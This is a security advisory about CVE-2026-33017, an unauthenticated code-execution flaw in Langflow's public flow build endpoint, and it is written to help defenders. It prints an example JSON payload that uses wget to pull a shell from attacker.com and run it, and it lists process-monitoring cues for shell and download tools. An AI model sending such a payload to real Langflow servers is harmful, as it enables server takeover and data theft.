Executive Summary

A critical unauthenticated remote code execution (RCE) vulnerability, CVE-2026-33017, has been discovered in Langflow, a popular open-source user interface for building AI applications. The flaw, reported by researcher Aviral Srivastava on February 26, 2026, allows a remote attacker to execute arbitrary Python code on a server running a vulnerable version of Langflow without any authentication. The vulnerability stems from an insecure use of the exec() function in a public API endpoint. Due to its simplicity and high impact, attackers were able to create and deploy exploits within 20 hours of the public disclosure, leading to active exploitation in the wild. This incident underscores the growing security risks associated with the rapid adoption of AI development tools and infrastructure.

Vulnerability Details

The vulnerability resides in the POST /api/v1/build_public_tmp/{flow_id}/flow API endpoint. This endpoint is designed to allow the building of public flows without authentication. However, it improperly trusts user-supplied input.

An attacker can send a crafted HTTP request to this endpoint containing a malicious flow definition within the data parameter. This data, which includes Python code, is passed directly to a server-side exec() function without proper sanitization or sandboxing. This allows the attacker to execute any Python code they desire with the privileges of the Langflow application.

Example Malicious Payload (Conceptual):

{
  "data": {
    "nodes": [
      {
        "data": {
          "node": {
            "template": {
              "code": {
                "value": "import os; os.system('wget http://attacker.com/shell -O /tmp/shell; chmod +x /tmp/shell; /tmp/shell')"
              }
            }
          }
        }
      }
    ]
  }
}

Affected Systems

• Langflow versions prior to and including 1.8.1 are reportedly affected.

The Langflow development team has addressed the issue in a subsequent development version. Users are urged to upgrade to the latest version as soon as it becomes available and to restrict access to their Langflow instances in the interim.

Exploitation Status

The vulnerability is under active exploitation. Security researchers observed that exploits were developed and deployed by attackers, including botnets, less than a day after the researcher's public disclosure. This rapid weaponization is typical for critical, easy-to-exploit RCEs. This vulnerability is distinct from a previous Langflow RCE, CVE-2025-3248, but shares a similar root cause of unsanitized input being passed to a dangerous function.

Impact Assessment

Successful exploitation of CVE-2026-33017 grants an attacker full control over the underlying server, leading to severe consequences:

• Data Exfiltration: Attackers can steal sensitive data stored on the server, including AI models, training data, API keys, and database credentials.
• System Compromise: The attacker can install backdoors, crypto miners, or other malware to establish persistence on the compromised system.
• Lateral Movement: The compromised Langflow server can be used as a pivot point to attack other systems within the internal network.
• Reputational Damage: A compromise of AI infrastructure can damage an organization's reputation and erode customer trust.

IOCs

No specific public IOCs have been released, but any POST requests to the vulnerable endpoint from unknown sources should be considered highly suspicious.

Detection & Response

• Web Server Log Analysis: Scrutinize web server and reverse proxy logs for any POST requests to the /api/v1/build_public_tmp/ endpoint. Any such requests from untrusted IP addresses are strong indicators of scanning or exploitation.
• WAF/IPS Signatures: Deploy web application firewall (WAF) or intrusion prevention system (IPS) rules designed to detect and block attempts to exploit this vulnerability.
• Endpoint Monitoring: On servers running Langflow, monitor for suspicious child processes being spawned by the Langflow application process, such as shell commands (sh, bash), wget, or curl. This aligns with D3FEND's Process Analysis (D3-PA).

Mitigation

1. Upgrade Langflow: The primary mitigation is to upgrade to a patched version of Langflow as soon as it is released by the developers.
2. Restrict Access: As an immediate and critical compensating control, ensure that Langflow instances are not exposed directly to the internet. Access should be restricted to trusted users and IP addresses via a firewall, VPN, or other access control mechanism. This is a form of D3FEND's Network Isolation (D3-NI).
3. Disable Public Flows: If not required, disable the functionality for creating public flows to reduce the attack surface.
4. Application Sandboxing: Run the Langflow application in a container or sandbox with minimal privileges to limit the impact of a potential RCE.